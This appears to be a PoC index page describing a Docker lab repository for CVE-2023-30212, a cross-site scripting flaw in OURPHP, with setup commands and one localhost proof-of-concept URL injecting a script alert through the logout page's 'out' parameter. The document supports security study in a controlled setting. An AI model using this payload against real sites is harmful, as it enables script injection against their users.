CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

Source

Associated Vulnerability

Description

GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.

Readme

# CVE-2023-30212-Lab
GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.







Download this repository by 

git clone https://github.com/mallutrojan/CVE-2023-30212-Lab.git

Cd CVE-2023-30212-Lab

chmod u+x lab.sh

./lab.sh

http://localhost and set up the user using password

execute this url in browser

http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=%3C/script%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

File Snapshot

 [4.0K]  /data/pocs/637cb80dd4d04f4a26a4c228965f9ce96733d6ef
├── [1.4K]  Dockerfile
├── [1.8K]  lab.sh
└── [ 676]  README.md

0 directories, 3 files

Remarks